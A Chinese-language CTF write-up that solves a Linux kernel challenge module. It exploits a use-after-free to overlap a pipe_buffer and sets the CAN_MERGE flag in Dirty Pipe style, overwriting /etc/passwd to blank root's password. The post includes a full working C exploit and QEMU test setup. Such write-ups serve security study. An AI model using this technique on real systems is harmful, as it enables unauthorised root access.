throughthewall

我们先解压initramfs.cpio.gz看题

if insmod /home/ctf/firewall.ko; then
    echo "[+] Module loaded successfully"
    chmod 666 /dev/firewall

这里将firewall.ko模块加载到内核之中

这里我们要想办法提权

我们直接看firewall.ko

我们可以看到一共有四个功能

功能 指令号
add 0x41004601
delete 0x40044602
edit 0x44184603
show 0x84184604

add的功能就是向rule数组里添加一条规则,并返回数组索引,这个规则存在kmalloc出来的object,然后把这个object的地址存在rule[idx]里

从edit函数我们可以看出我们传入的结构体的结构应该是

struct fw_req {
    uint32_t idx;
    uint32_t padding;
    uint64_t offset;
    uint64_t len;
    unsigned char data[0x400];
};

利用edit我们能把fw_req里的data内容写入rule[idx]存的object里

void __fastcall firewall_ioctl_cold()
{
  __int64 v0; // rbx

  printk(&unk_640);
  kfree(rules[v0]);
  printk(&unk_660);
  printk(&unk_74B);
  JUMPOUT(0x429);
}

这里delete没有清空指针,有UAF,也就是我们delete后,依旧能用edit编辑那个已经kfree的rule[idx]

内核态 (SLUB)里的堆跟用户区不太一样,它不按需切割,而是预先准备好了一堆固定大小的Cache:

例如 kmalloc-32kmalloc-1024 ,如果我们申请 13 字节,内核会直接给一个 32 字节的object。

这题我们最终的方法是修改/etc/passwd文件进行提权,常规的/etc/passwd文件我们只能读,这里我们用UAF漏洞实现修改这个文件。

当我们执行 pipe(p) 时,内核(具体是 alloc_pipe_info() 函数)会在堆上申请两个重要的结构。

  1. 第一次分配:struct pipe_inode_info

这存储了管道的状态、读写索引等元数据。

  • 大小:在现代内核中,这个结构体的大小约为 192 字节 或 256 字节(取决于内核版本和编译选项)。
  • 所在 Cache:通常会落在 kmalloc-192kmalloc-256
  1. 第二次分配:pipe_buffer 环形缓冲区数组

这是管道用来存放数据的。内核并不是直接申请一大块内存存数据,而是申请一个结构体数组,每个成员叫 struct pipe_buffer

  • 默认配置:Linux 默认会为管道分配 16 个 缓冲区槽位。

  • 每个 struct pipe_buffer 在 64 位系统下的大小是 40 字节。

    16 \times 40 = 640 \text{ 字节}
  • 所在 Cache:按照 SLUB 分配器的规则,640 字节会被分配到 kmalloc-1024 这个 Cache 中(有些内核版本有 kmalloc-768,但绝大多数 CTF 题目环境都会让它落在 1024)。

那我们先 add_rule 一个规则(内核在 kmalloc-1024 申请了一个 Object A)。

delete 掉这个规则(Object A 被放回 kmalloc-1024 的 Freelist)。

我们再调用 pipe(p)

内核去 kmalloc-1024 找空间放管道缓冲区,Object A 就会被分配给管道作为缓冲区数组,我们就能用edit来修改这个管道缓冲区了

struct pipe_buffer 结构大概如下:

struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops; 
    unsigned int flags;
    ...
};

然后我们利用

    int password_fd = open("/etc/passwd", O_RDONLY);
    loff_t offset = 4;
    splice(password_fd, &offset, p[1], NULL, 1, 0);

在 Linux 内核中,为了提高性能,splice 采用的是 Page Sharing(页共享)机制,当我们对一个文件执行 splice 到管道时,内核并不会申请一块新内存来存这 1 字节。它会:去 /etc/passwd 的 Page Cache(页缓存) 里找到包含该偏移量的那个物理页(struct page),在管道的 pipe_inode_info 环形队列中,找一个空闲的 pipe_buffer 槽位,直接把这个槽位的指针指向那个文件的物理页(也就是struct page *page;指向那个物理页了)

执行完 splice 后,管道里的那个 pipe_buffer 结构体会被填入以下信息:

  • page: 指向 /etc/passwd 在内核内存中的真实物理页地址。
  • offset: 4(即从该页的第 5 个字节开始)。
  • len: 1(只引用 1 个字节)。
  • ops: 指向 generic_pipe_buf_ops。这个操作表告诉内核:“这块内存是只读的页缓存,不能直接改”。
  • flags: 0

这里也可以通过题目带的show函数看

这里重点的是flags,flags是用来描述这个 buffer 的行为特性。

0x01、0x02、0x04、0x08、0x20、0x40都有不同的含义,我们这里注意讲这题用到的0x10

0x10 PIPE_BUF_FLAG_CAN_MERGE:
表示后续写入可以和当前 buffer 合并。
在 pipe_write 里,内核会检查:

  • 当前 buffer 有这个 flag
  • 并且 offset + chars <= PAGE_SIZE

如果满足,就直接把新数据追加到 同一个 pipe_buffer 指向的 page 里,而不是新开一个 buffer。
这就是 Dirty Pipe 风格利用的核心。

那这题我们用上面提到的edit(edit函数有偏移的输入,我们直接输入偏移24就能精准写入flags了,偏移24能根据pipe_bufer结构体看出来)和UAF把pipe_buffer.flags改成0x10,我们再向p[1]写入,就是向/etc/passwd文件写入了

题目里 /etc/passwd 一开始基本是:

root:x: 0:0:root:/root:/bin/sh
ctf:x:1000:1000::/home/ctf:/bin/sh

这里x位置代表密码经过哈希处理后存放在 /etc/shadow 文件里

这里我们的payload是:

static const char payload[] =
    ":0:0:root:/root:/bin/sh\n"
    "ctf:x:1000:1000::/home/ctf:/bin/sh\n";

我们前面splice用的是偏移4,也就是跳过前面的root,然后长度写的是1,对应的就是:,我们后面写入会接在root:

我们利用漏洞修改了/etc/passwd后就会变成:

root::0:0:root:/root:/bin/sh,表示密码为空

后面写第二行是为了保证我们ctf权限时能正常su root

我们把密码改成空只会直接su root就能获得root权限了

write(p[1], payload, sizeof(payload) - 1),这里-1是为了不把字符串结尾的\0写入)

这题我本地测试用的方法是先gcc编译我们写好的exp.c,然后把exp放入前面initramfs.cpio.gz解压出来的文件(rootfs)里的/home/ctf下建一个exploit文件夹,然后把exp放这个文件里,然后

find . | cpio -o -H newc -R 0:0 | gzip -9 > ../local_test_initramfs.cpio.gz

把rootfs重新压缩成我们测试用的gz,然后qemu启动时就用这个gz

qemu-system-x86_64 \           
      -m 256M \
      -nographic \
      -kernel ./bzImage \
      -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
      -no-reboot \
      -cpu qemu64,+smep,+smap \
      -smp 2 \
      -initrd ./local_test_initramfs.cpio.gz \
      -monitor /dev/null

(在rootfs里面的init文件里的cd /home/ctf前一行可以加一句

/home/ctf/exploit/exp || true

这样每次就能自动执行我们的exp,方便一点)

EXP:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define ADD 0x41004601UL
#define DEL 0x40044602UL
#define EDIT 0x44184603UL
#define PIPE_BUF_FLAG_CAN_MERGE 0x10

struct fw_req
{
    uint32_t idx;
    uint32_t padding;
    uint64_t offset;
    uint64_t len;
    unsigned char data[0x400];
};

static void delete(int fw, uint32_t idx)
{
    ioctl(fw, DEL, idx);
}


static void edit(int fw, uint32_t idx, uint64_t offset, const void *buf, uint64_t len)
{
    struct fw_req req;
    memset(&req, 0, sizeof(req));
    req.idx = idx;
    req.offset = offset;
    req.len = len;
    memcpy(req.data, buf, len);
    ioctl(fw, EDIT, &req);
}

static const char payload[] =
    ":0:0:root:/root:/bin/sh\n"
    "ctf:x:1000:1000::/home/ctf:/bin/sh\n";

int main(void)
{
    int fw = open("/dev/firewall", O_RDWR);
    char rule[] = "1.1.1.1 2.2.2.2 80 0 uaf";
    uint32_t idx = ioctl(fw, ADD, rule);
    delete(fw, idx);
    puts("successfully deleted");
    int p[2] = {0};
    pipe(p);
    int password_fd = open("/etc/passwd", O_RDONLY);
    loff_t offset = 4;
    splice(password_fd, &offset, p[1], NULL, 1, 0);
    uint32_t flags = PIPE_BUF_FLAG_CAN_MERGE;
    edit(fw, idx, 24, &flags, sizeof(flags));
    puts("successfully edit flags");
    write(p[1], payload, sizeof(payload) - 1);
    puts("successfully edit /etc/passwd");
    execl("/bin/su", "su", "root", (char *)NULL);
    return 0;
}

题目链接:待更新


throughthewall
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-6BTVoSSV
作者
ZenDuk
发布于
2026年04月23日
许可协议